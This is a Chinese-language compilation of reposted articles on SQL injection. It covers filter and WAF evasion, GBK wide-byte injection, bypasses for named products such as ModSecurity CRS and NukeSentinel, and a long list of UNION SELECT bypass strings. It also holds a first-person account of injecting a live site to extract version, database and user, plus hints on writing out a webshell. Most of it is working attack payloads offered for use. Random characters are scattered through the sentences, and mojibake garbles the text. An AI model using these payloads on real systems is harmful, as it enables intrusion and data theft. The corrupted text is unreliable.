web應(yīng)用程序會(huì)對(duì)用戶的輸入進(jìn)行驗(yàn)證,過濾其中的一些關(guān)鍵字昔园,這種過濾我們可以試著用下面的方法避開蔓榄。
1并炮、 不使用被過濾的字符: 比如注入一個(gè)數(shù)字?jǐn)?shù)據(jù),就不需要使用單引號(hào)甥郑;’ or 1=1–逃魄,如果注釋字符被過濾,我們可以這樣寫 ‘ or ’1′=’1 壹若。
2嗅钻、 避免使用簡(jiǎn)單確認(rèn): 如果select關(guān)鍵字被過濾,我們可以嘗試用下面的方法書寫select店展,SeleCT; selselectect;或者使用URLencode养篓,ascii編碼,%53%45%4c%45%43%54(ascii).
3赂蕴、 使用sql注釋繞過: 如果空格被過濾了柳弄,我們可以使用sql語言的注釋。select/**/username,password/**/from/**/user–, mysql中甚至可以這樣 sele/**/ct username fr/**/om user–.
4概说、 替換被阻止的字符串: 要表示admin碧注,oracle中可以用 ‘a(chǎn)dm’||’in’ ,? mysql中可以用 concat(‘a(chǎn)dm’,'in’); mssql中可以用:’adm’+'in’.
數(shù)據(jù)庫語法中有很多字符串操作函數(shù),可以用來創(chuàng)建被過濾的字符串糖赔。Oracle中包含萍丐,CHR(ascii碼轉(zhuǎn)化)、REVERSE(字符串反轉(zhuǎn)),TRANSLATE(高級(jí)的字符串替換),REPLACE,SUBSTR函數(shù)放典。
mssql數(shù)據(jù)庫可以使用 exec(‘select * from user’), 這條命令可以變形為 exec(‘sele’+'ct * from user) ,還可以建立一個(gè)十六進(jìn)制的編碼的字符串逝变,通過exec來執(zhí)行,從而避開某些關(guān)鍵字甚至是單引號(hào)的過濾奋构。如:declear @q varchar(5000); select @q=0×73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 65 72 ,exec(@q) .
另外如果網(wǎng)站是gbk編碼的壳影,也可以利用漢字的編碼避開注入:
在magic_quotes_gpc=On的情況下,提交的參數(shù)中如果帶有單引號(hào)’弥臼,就會(huì)被自動(dòng)轉(zhuǎn)義\’宴咧,使很多注入攻擊無效,
GBK雙字節(jié)編碼:一個(gè)漢字用兩個(gè)字節(jié)表示径缅,首字節(jié)對(duì)應(yīng)0×81-0xFE掺栅,尾字節(jié)對(duì)應(yīng)0×40-0xFE(除0×7F),剛好涵蓋了轉(zhuǎn)義符號(hào)\對(duì)應(yīng)的編碼0×5C纳猪。
0xD50×5C 對(duì)應(yīng)了漢字“誠(chéng)”柿冲,URL編碼用百分號(hào)加字符的16進(jìn)制編碼表示字符,于是 %d5%5c 經(jīng)URL解碼后為“誠(chéng)”兆旬。
下面分析攻擊過程:
訪問 http://www.2cto.com /test.php?username=test%d5′%20or%201=1%23&pwd=test
經(jīng)過瀏覽器編碼,username參數(shù)值為(單引號(hào)的編碼0×27)
username=test%d5%27%20or%201=1%23
經(jīng)過php的url解碼
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (為了便于閱讀怎栽,在字符串與16進(jìn)制編碼之間加了空格)
經(jīng)過PHP的GPC自動(dòng)轉(zhuǎn)義變成(單引號(hào)0×27被轉(zhuǎn)義成\’對(duì)應(yīng)的編碼0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
因?yàn)樵跀?shù)據(jù)庫初始化連接的時(shí)候SET NAMES ‘gbk’丽猬,0xd50×5c解碼后為誠(chéng)宿饱,0×27解碼為’,0×20為空格脚祟,0×23為mysql的注釋符#
上面的SQL語句最終為: SELECT * FROM user WHERE username=’test誠(chéng)’ or 1=1#’ and password=’test’;
注釋符#后面的字符串已經(jīng)無效谬以,等價(jià)于
SELECT * FROM user WHERE username=’test誠(chéng)’ or 1=1;
條件變成永真,成功注入由桌。
補(bǔ)充:
0xD50×5C不是唯一可以繞過單引號(hào)轉(zhuǎn)義的字符为黎,0×81-0xFE開頭+0×5C的字符應(yīng)該都可以;
根據(jù)utf8的編碼范圍行您,無此問題铭乾;
這種變換在xss等領(lǐng)域也可以應(yīng)用,假如服務(wù)端是GBK編碼格式娃循。
摘自:http://www.2cto.com/Article/201209/153283.html
/***********************************************/
/***********************************************/
內(nèi)容
#############
########################
【0×01】 – 簡(jiǎn)介
########################
大家好炕檩,這是一篇致力于文檔化我們所從事的高級(jí)SQL注入技術(shù)的文章。
本文將要揭示能用于現(xiàn)實(shí)CMSs和WAFs程序中的高級(jí)繞過技術(shù)和混淆技術(shù)捌斧。文中所提到的SQL注入語句僅僅是一些繞過保護(hù)的方法笛质。還有一些其他的技術(shù)能用于攻擊WEB程序,但是很不幸我們不能告訴你捞蚂,因?yàn)樗鼈兙褪?day妇押。不論如何,本文旨在揭示現(xiàn)實(shí)世界中沒有完全徹底的安全系統(tǒng)即使你在一個(gè)WAF上面花費(fèi)了三十萬美元姓迅。
本文分為7個(gè)章節(jié)敲霍,僅有0×01到0×03章節(jié)是介紹技術(shù)內(nèi)容的。
0×01章節(jié)我們將詳細(xì)介紹關(guān)于如何繞過基本的函數(shù)和關(guān)鍵詞過濾队贱。0×02章節(jié)我們將給出常見的繞過技術(shù)用于繞過開源和商業(yè)性的WAF色冀。0×03章節(jié)我們將分兩個(gè)小節(jié)來深入探討高級(jí)繞過技術(shù):“HTTP參數(shù)污染:分離和結(jié)合”和“HTTP參數(shù)參雜”。0×04章節(jié)我們將指導(dǎo)如何用正確的解決方案保護(hù)你的網(wǎng)站柱嫌。在最后的0×05章節(jié)是對(duì)0×01到0×04章節(jié)的總結(jié)锋恬。
########################
【0×01】 -過濾規(guī)避(Mysql)
########################
本節(jié)將闡述基于PHP和MySQL的過濾規(guī)避行為以及如何繞過過濾。過濾規(guī)避是一種用來防止SQL注入的技術(shù)编丘。這種技術(shù)可以用SQL函數(shù)与学,關(guān)鍵詞過濾或者正則表達(dá)式完成。這就意味著過濾規(guī)避嚴(yán)重依賴如何儲(chǔ)存一個(gè)黑名單或者正則表達(dá)式嘉抓。如果黑名單或者正則表達(dá)式?jīng)]有覆蓋每一個(gè)注入情境索守,那么WEB程序?qū)τ赟QL注入攻擊來說仍舊是脆弱的。
++++++++++++++++++++++++++++++++++++++++++
【0x01a】 – 繞過函數(shù)和關(guān)鍵詞過濾
++++++++++++++++++++++++++++++++++++++++++
函數(shù)和關(guān)鍵詞過濾使用函數(shù)和關(guān)鍵詞黑名單來保護(hù)WEB程序免受攻擊抑片。如果一個(gè)攻擊者提交了一個(gè)包含在黑名單中的關(guān)鍵詞或者SQL函數(shù)的注入代碼卵佛,這個(gè)攻擊便會(huì)失效。然而,如果攻擊者能夠巧妙使用其他的關(guān)鍵詞或者函數(shù)來操作注入截汪,那么黑名單將無法阻止攻擊疾牲。為了阻止攻擊大量的關(guān)鍵詞和函數(shù)必須放到黑名單中。但是這也影響了用戶衙解,當(dāng)用戶想提交一個(gè)存在黑名單中的單詞時(shí)阳柔,用戶將無法提交,因?yàn)檫@個(gè)單詞已被黑名單過濾蚓峦。接下來的情境展示了一些使用函數(shù)和關(guān)鍵詞過濾以及繞過技術(shù)的例子舌剂。
關(guān)鍵詞過濾:? ? ? ? ? and,or
———————————————————————————–
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or)/I’,$id)
關(guān)鍵詞and,or常被用做簡(jiǎn)單測(cè)試網(wǎng)站是否容易進(jìn)行注入攻擊。這里給出簡(jiǎn)單的繞過使用&&,||分別替換and,or暑椰。
過濾注入:? ? ? ? ? ? 1 or 1 = 1? ? 1 and 1 = 1
繞過注入:? ? ? ? ? ? 1 || 1 = 1? ? 1 && 1 = 1
————————————————————————————
關(guān)鍵詞過濾:? ? ? ? ? and,or,union
————————————————————————————
PHP過濾代碼:? ? ? ? preg_match (‘/(and|or|union)/I’,$id)
關(guān)鍵詞union通常被用來構(gòu)造一個(gè)惡意的語句以從數(shù)據(jù)庫中獲取更多數(shù)據(jù)霍转。
過濾注入:? ? ? ? ? ? union? select? user, password? from? users
繞過注入:? ? ? ? ? ? 1 || (select? user? from? users? where? user_id = 1)=’admin’
** 注意:你必須知道表名,列名和一些表中的其他數(shù)據(jù)干茉,否則你必須用別的語句從information_schema.columns中獲取谴忧。
舉例,使用substring函數(shù)獲取表名的每一個(gè)字符角虫。
————————————————————————————-
關(guān)鍵詞過濾:? ? ? ? ? and,or,union,where
————————————————————————————-
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where)/I’,$id)
過濾注入:? ? ? ? ? ? 1||(select? user? from? users? where? user_id = 1)= ‘a(chǎn)dmin’
繞過注入:? ? ? ? ? ? 1||( select? user? from? users? limit? 1)=’admin’
————————————————————————————–
關(guān)鍵詞過濾:? ? ? ? ? and,or,union,where,limit
————————————————————————————–
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit)/I’,$id)
過濾注入:? ? ? ? ? ? 1||(select? user? from? users? limit? 1)=’admin’
繞過注入:? ? ? ? 1||(select? user? from? users? group by user_id having user_id=1 )= ‘a(chǎn)dmin’
—————————————————————————————
關(guān)鍵詞過濾:? ? ? ? ? and,or,union,where,limit,group by
—————————————————————————————
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit|group by)/I’,$id)
過濾注入:? ? ? ? ? ? 1||(select? user? from? users? group? by? user_id? having? user_id? =1)=’admin’
繞過注入:? ? ? ? ? 1||(select? substr(group_concat(user_id),1,1) user? from? users? )=1
—————————————————————————————
關(guān)鍵詞過濾:? ? ? ? ? and,or,union,where,limit,group by,select,’
—————————————————————————————
PHP過濾代碼:? ? ? preg_match(‘/(and|or|union|where|limit|group by|select|\’)/I’,$id
過濾注入:? ? ? ? ? ? 1||(select substr(group_concat(usr_id),1,1)user from users =1
繞過注入:? ? ? ? ? ? 1|| user_id is not null
繞過注入:? ? ? ? ? ? 1||substr(user,1,1)=0×61
繞過注入:? ? ? ? ? ? 1||substr(user,1,1)=unhex(61)
—————————————————————————————-
關(guān)鍵詞過濾:? ? ? ? ? and,or,union,where,limit,goup by,select,’,hex,
—————————————————————————————–
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/I’,$id)
過濾注入:? ? ? ? ? ? 1||substr(user,1,1)=unhex(61)
繞過注入:? ? ? ? ? ? 1||substr(user,1,1)=lower(conv(11,10,36))
——————————————————————————————
關(guān)鍵詞過濾:? ? ? ? ? and,or,union,where,limit,group by,select,’,hex,substr
——————————————————————————————-
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/I’,$id)
過濾注入:? ? ? ? ? ? 1||substr(user,1,1)=lower(conv(11,10,36))
繞過注入:? ? ? ? ? ? 1||lpad(user,7,1)
——————————————————————————————-
關(guān)鍵詞過濾:? ? ? ? ? and,or,union,where,limit,group by,select,’,hex,substr,white space
——————————————————————————————-
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/I’,$id)
過濾注入:? ? ? ? ? ? 1||lpad(user,7,1)
繞過注入:? ? ? ? ? ? 1%0b||%0blpad(user,7,1)
——————————————————————————————–
從上面的例子中我們可以看出有大量的SQL語句可以用來繞過黑名單沾谓,雖然黑名單已經(jīng)包含了很多關(guān)鍵詞和函數(shù),此外戳鹅,還有數(shù)不清的例子中沒有提到的SQL語句可以用來繞過黑名單均驶。
建立一個(gè)更大的黑名單不是一個(gè)保護(hù)你網(wǎng)站的好注意。記住枫虏,過濾的關(guān)鍵詞和函數(shù)越多妇穴,對(duì)用戶越不友好。
++++++++++++++++++++++++++++++++++++++++++
【0x01b】 – 繞過正則表達(dá)式過濾
++++++++++++++++++++++++++++++++++++++++++
正則表達(dá)式過濾是一個(gè)比關(guān)鍵詞和函數(shù)過濾要好的阻止SQL注入的方法隶债,因?yàn)樗褂媚J狡ヅ鋪頇z測(cè)攻擊腾它。但是,很多正則表達(dá)式仍然能被繞過死讹。下面以開源軟件PHPIDS 0.6舉例闡明用來繞過正則表達(dá)式的注入腳本瞒滴。
PHPIDS通常阻止包含=,(或者’ 跟隨一個(gè)字符串或者整數(shù)輸入,比如1 or 1=1赞警,1 or ’1’妓忍,1 or? char(97)。但是愧旦,它能被使用不包含=世剖,(或者’符號(hào)的語句繞過。
[ code] ——————————————————————————————–
過濾注入:? ? ? ? ? ? 1 or 1 = 1
繞過注入:? ? ? ? ? ? 1 or 1
[end code] —————————————————————————————
[code] ---------------------------------------------------------------------------------------------
過濾注入:? ? ? ? ? ? 1 union select 1, table_name from information_schema.tables where table_name=’users’
過濾注入:? ? ? ? ? ? 1 union select 1,table_name from information_schema.tables where table_name between ‘a(chǎn)’ and ‘z’
過濾注入:? ? ? ? ? ? 1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
繞過注入:? ? ? ? ? ? 1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
繞過注入:? ? ? ? ? ? 1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273
[end code] ----------------------------------------------------------------------------------------
########################
【0x02】 - 常見繞過技術(shù)
########################
在這個(gè)章節(jié)笤虫,我們將提到關(guān)于繞過WEB應(yīng)用防護(hù)系統(tǒng)(WAF)的技術(shù)旁瘫。首先我們需要認(rèn)識(shí)一下什么是WAF祖凫。
WEB應(yīng)用防護(hù)系統(tǒng)(WAF)是一套設(shè)備,服務(wù)擴(kuò)展或者過濾器酬凳,對(duì)HTTP會(huì)話應(yīng)用一系列的規(guī)則蝙场。一般來說,這些規(guī)則包含了常見的攻擊比如跨站腳本攻擊(XSS)和SQL注入攻擊粱年。很多攻擊可以通過制定符合自己程序的規(guī)則來識(shí)別和阻擋》D猓花時(shí)間實(shí)現(xiàn)定制規(guī)則是有重要意義的台诗,而且當(dāng)WEB程序改變時(shí)需要維護(hù)。
WAF通常被稱做“深層次數(shù)據(jù)包檢測(cè)防火墻”赐俗,它們檢查HTTP/HTTPS/SOAP/XML-RPC/WEB服務(wù)在內(nèi)的每一個(gè)請(qǐng)求和相應(yīng)拉队。一些現(xiàn)代的WAF系統(tǒng)同時(shí)檢查攻擊特征和異常行為。
現(xiàn)在讓我們趕緊來了解如何用混淆技術(shù)來破壞WAF吧阻逮,只要花時(shí)間去理解它的規(guī)則以及運(yùn)用你的想象所有WAF都能被繞過粱快!
用注釋來繞過
SQL注釋能讓我們繞過許多繞過和WAF
[Code]---------------------------------------------------------
http://victim.com/news.php?id+un/**/ion+se/**/lect+1,2,3--
[End Code]----------------------------------------------------
變換大小寫
某些WAF僅過濾小寫的SQL關(guān)鍵詞
正則表達(dá)式過濾:/union\sselect/g
[Code]-----------------------------------------------------------
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
[End Code]------------------------------------------------------
替換關(guān)鍵詞
某些程序和WAF用preg_replace函數(shù)來去除所有的SQL關(guān)鍵詞。那么我們能簡(jiǎn)單的繞過叔扼。
[Code]-------------------------------------------------------------
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
[End Code]-------------------------------------------------------
某些情況下SQL關(guān)鍵詞被過濾掉并且被替換成空格事哭。因此我們用“%0b”來繞過。
[Code]-------------------------------------------------------------
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
[End Code]--------------------------------------------------------
對(duì)于Mod_rewrite,注釋“/**/”不能繞過瓜富,那么我們用“%0b”代替“/**/”鳍咱。
被禁止的:http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
繞過:http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
字符編碼
大多CMS和WAF將對(duì)程序的輸入進(jìn)行解碼和過濾,但是某些WAF僅對(duì)輸入解碼一次与柑,那么雙重加密就能繞過某些過濾谤辜,這時(shí)WAF對(duì)輸入進(jìn)行一次解碼并過濾與此同時(shí)程序繼續(xù)解碼且執(zhí)行SQL語句。
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
[End Code]----------------------------------------------------------
此外价捧,這些技術(shù)結(jié)合起來可以繞過Citrix NetScaler
-去除所有“NULL”字符
-在某些部分使用查詢編碼
-去除單引號(hào)字符“’”
-爽去吧丑念!
歸功于:Wendel Guglielmetti Henrique 和 Armorlogic Profense 較早的通過URL編碼換行符繞過2.4.4
#現(xiàn)實(shí)例子
NukeSentinel (Nuke Evolution)
[Nukesentinel.php Code]------------------------------------------------------------
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) {? // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
[End Code]-------------------------------------------------------------------------
我們能利用下面腳本繞過它的過濾:
禁止: http://victim.com/php-nuke/?/**/union/**/select?..
繞過: http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select?
繞過: http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect
Mod Security CRS? (歸功于:Johanners Dahse)
[SecRule]------------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* ”\bunion\b.{1,100}?\bselect\b” \ “phase2,rev:’2.2.1’,capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}" [End Rule]-----------------------------------------------------------------------------
我們可以利用下面代碼繞過它的過濾:
[Code]-----------------------------------------------------------------------------------
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
[End Code]------------------------------------------------------------------------------
從這個(gè)攻擊,我們可以繞過Mod Security结蟋。讓我們看看發(fā)生了什么8小!
MySQL Server支持3中注釋風(fēng)格:
-從#字符開始到這一行的末尾
-從--序列開始到這一行的末尾
-從/*序列到下一個(gè)*/之間椎眯,如同C語言
此語法能夠使注釋延伸到多行挠将,因?yàn)殚_始序列和閉合序列不必在同一行。
下面的例子我們用“%0D%0A”作為換行符编整。讓我們看看第一個(gè)請(qǐng)求(獲取DB 用戶)舔稀。SQL數(shù)據(jù)的結(jié)果看起來類似如下:
0 div 1 union #foo*/*/bar
select#foo
1,2,current_user
然而當(dāng)SQL數(shù)據(jù)被MySQL DB執(zhí)行的時(shí)候類似如下:
0 div 1 union select 1,2,current_user
緩沖區(qū)溢出
用C語言寫的WAF有溢出的傾向或者在裝載一串?dāng)?shù)據(jù)時(shí)表現(xiàn)異常。
給出一大串?dāng)?shù)據(jù)使我們的代碼執(zhí)行
[Code]--------------------------------------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=(select 0x
/****************************************************/
/*****************************************************/
/*******************************************/
#WAF Bypassing Strings:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
##
#
#
#Union Select by PASS with Url Encoded Method:
? %55nion(%53elect)
? union%20distinct%20select
? union%20%64istinctRO%57%20select
? union%2053elect
? %23?%0auion%20?%23?%0aselect
? %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
? %55nion %53eLEct
? u%6eion se%6cect
? unio%6e %73elect
? unio%6e%20%64istinc%74%20%73elect
? uni%6fn distinct%52OW s%65lect
? %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
轉(zhuǎn)自? http://www.cnblogs.com/xishaonian/p/6274586.html
http://www.jb51.net/article/48933.htm
/********************************************/
/**********************************************/
? 前幾今天遇到一個(gè)bt 的老外注射點(diǎn):
? ? //*ps 此點(diǎn)目前流行的注射工具射不 *//
? ? http:// /index.php?content=more_product&id=17
? ? http:// /index.php?content=more_product&id=17 and 1=1 正常
? ? http:// /index.php?content=more_product&id=17 and 1=2 報(bào)錯(cuò)
? ? http:// /index.php?content=more_product&id=17 order by 6 正常
? ? http:// /index.php?content=more_product&id=17 order by 7 錯(cuò)誤
? ? 繼續(xù)按照常規(guī)的手法注射:
? ? http:// /index.php?content=more_product&id=-17+UNION+SELECT+1,2,
? ? 3,4,5,6--
? ? 錯(cuò)誤nnd掌测,過濾 UNION+SELECT 我們來加點(diǎn)特殊的字符看看能不能繞過
? ? http:// /index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/
? ? /**//*!sElEcT*//**//**/1,2,3,4,5,6--
? ? 悲劇還是繞不過去 - -内贮,于是嘗試自己知道的繞過方法繼續(xù)射…
? ? http:// /index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n
? ? *//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6--
? ? http:// /index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca
? ? t(s,e,l,e,c,t)+all+1,2,3,4,5,6--
? ? 悲劇還是繞不過去产园,nnd。找了幾個(gè)朋友看了還是繞不過去邪惡的過濾啊夜郁。要是國(guó)內(nèi)
? ? 的站以上幾種方法一般都能搞定什燕,老外就是bt。最后實(shí)在木有辦法了只好去國(guó)外的黑
? ? 客論壇求助老外幫助竞端。國(guó)外php 注射歷史悠久手法獨(dú)特+方法猥瑣 射出幾率相當(dāng)高
? ? 于是發(fā)帖求助了終于有一個(gè)黑客回帖了而且輕松的繞過去了屎即。
? ? http:// /index.php?content=more_product&id=-17? and? (select? 1)=(select
? ? 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-
? ? 靠,老外果然牛B 那么繼續(xù)射
? ? http:// /index.php?content=more_product&id=-17? and? (select? 1)=(select
? ? 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u
? ? ser()),3,4,5,6--+-
? ? 成功得到系統(tǒng)版本事富、當(dāng)前數(shù)據(jù)庫用戶技俐、用戶名
/**********************************/
/************************************/
/***************************************/
根據(jù)我對(duì)MySQL的認(rèn)識(shí),注入時(shí)统台,基本可以通過爆雕擂、盲注、報(bào)錯(cuò)三種方式獲得用戶名和密碼贱勃,在權(quán)限足夠的情況下井赌,還可以直接通過SQL語句插入并導(dǎo)出我們的一句話webshell。
當(dāng)拿到一個(gè)MySQL的注入點(diǎn)的時(shí)候贵扰,我們需要判斷MySQL的版本仇穗。因?yàn)楫?dāng)MySQL的版本小于4.0時(shí),是不支持union select聯(lián)合查詢的拔鹰;當(dāng)MySQL版本大于5.0時(shí)仪缸,有個(gè)默認(rèn)數(shù)據(jù)庫information_schema,里面存放著所有數(shù)據(jù)庫的信息(比如表名列肢、列名恰画、對(duì)應(yīng)權(quán)限等),通過這個(gè)數(shù)據(jù)庫瓷马,我們就可以跨庫查詢拴还,爆表爆列。現(xiàn)在一般情況下欧聘,MySQL都是4.0以上的片林,所以我們就放心的用聯(lián)合查詢吧。
對(duì)于MySQL的注入怀骤,大概有這些思路:
1.判斷注入點(diǎn)是否有讀寫權(quán)限费封,如果有,那么可以直接讀取配置文件蒋伦、用戶名密碼等弓摘;當(dāng)magic_quotes_gpc為off的時(shí)候還可以直接導(dǎo)出一句話webshell。
//magic_quotes_gpc為on的時(shí)候痕届,'會(huì)被轉(zhuǎn)成\'韧献,而寫導(dǎo)出的絕對(duì)路徑的時(shí)候又必須是用'括起來末患,所以,就蛋疼了锤窑。璧针。
2.沒有讀寫權(quán)限時(shí),判斷MySQL版本渊啰,5.0以上時(shí)可以通過爆的方式獲得用戶名密碼探橱;5.0以下或者5.0以上不能爆時(shí)(比如限制了information_schema數(shù)據(jù)庫),可以通過盲注獲得用戶名密碼绘证。
//盲注:我的理解是走搁,通過返回頁面的正確與否判斷查詢語句是否正確,和Access數(shù)據(jù)庫的注入很類似迈窟,可以算是猜吧。
3.有時(shí)候忌栅,由于一個(gè)參數(shù)可能執(zhí)行了多個(gè)查詢語句车酣,而導(dǎo)致查不出字段數(shù),更沒有數(shù)字回顯時(shí)索绪,如果服務(wù)器開啟了MySQL錯(cuò)誤回顯的話湖员,還可以通過報(bào)錯(cuò)注入從報(bào)錯(cuò)信息中獲取我們想要知道的東西。
暫時(shí)我想起來的就這些瑞驱,盲注和報(bào)錯(cuò)這兩種方式俺不是太熟娘摔,就不說了。在這里唤反,我就只簡(jiǎn)單介紹下MySQL數(shù)據(jù)庫5.X版本的爆表爆列爆內(nèi)容凳寺。
步驟一:判斷注入點(diǎn)
不多說了。單引號(hào)彤侍、and 1=1肠缨、and 1=2。
步驟二:order by和union select
通過order by查出字段數(shù)目N盏阶,然后聯(lián)合查詢晒奕。
